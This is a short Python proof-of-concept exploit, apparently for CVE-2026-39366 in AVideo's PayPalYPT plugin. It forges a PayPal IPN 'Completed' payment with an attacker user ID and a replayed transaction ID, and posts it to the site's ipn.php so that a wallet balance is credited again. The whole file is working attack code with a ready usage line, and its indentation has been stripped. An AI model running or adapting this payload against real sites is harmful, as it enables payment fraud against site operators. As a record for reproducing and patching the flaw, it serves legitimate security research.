import requests
def exploit_avideo_replay(target_url, txn_id, amount):
"""
PoC for CVE-2026-39366: Replay a PayPal IPN notification.
"""
ipn_payload = {
'mc_gross': amount,
'protection_eligibility': 'Ineligible',
'payer_id': 'TESTPAYERID',
'tax': '0.00',
'payment_date': '20:12:2026',
'payment_status': 'Completed',
'charset': 'windows-1252',
'first_name': 'Test',
'mc_fee': '0.00',
'notify_version': '3.9',
'custom': 'attacker_user_id',
'payer_status': 'verified',
'business': '
[email protected]',
'quantity': '1',
'verify_sign': 'SIG_PLACEHOLDER',
'payer_email': '
[email protected]',
'txn_id': txn_id, # Vulnerable: Replaying this ID
'payment_type': 'instant',
'last_name': 'User',
'receiver_email': '
[email protected]',
'payment_fee': '0.00',
'receiver_id': 'TESTRECEIVERID',
'txn_type': 'web_accept',
'item_name': 'Wallet Balance',
'mc_currency': 'USD',
'item_number': '',
'residence_country': 'US',
'handling_amount': '0.00',
'transaction_subject': '',
'payment_gross': amount,
'shipping': '0.00',
'ipn_track_id': 'placeholder'
}
try:
response = requests.post(f"{target_url}/plugin/PayPalYPT/ipn.php", data=ipn_payload)
if response.status_code == 200:
print(f"[+] Request sent successfully. Check if balance increased for txn_id: {txn_id}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
# Usage
# exploit_avideo_replay("http://target-site", "VALID_TXN_ID_TO_REPLAY", "100.00")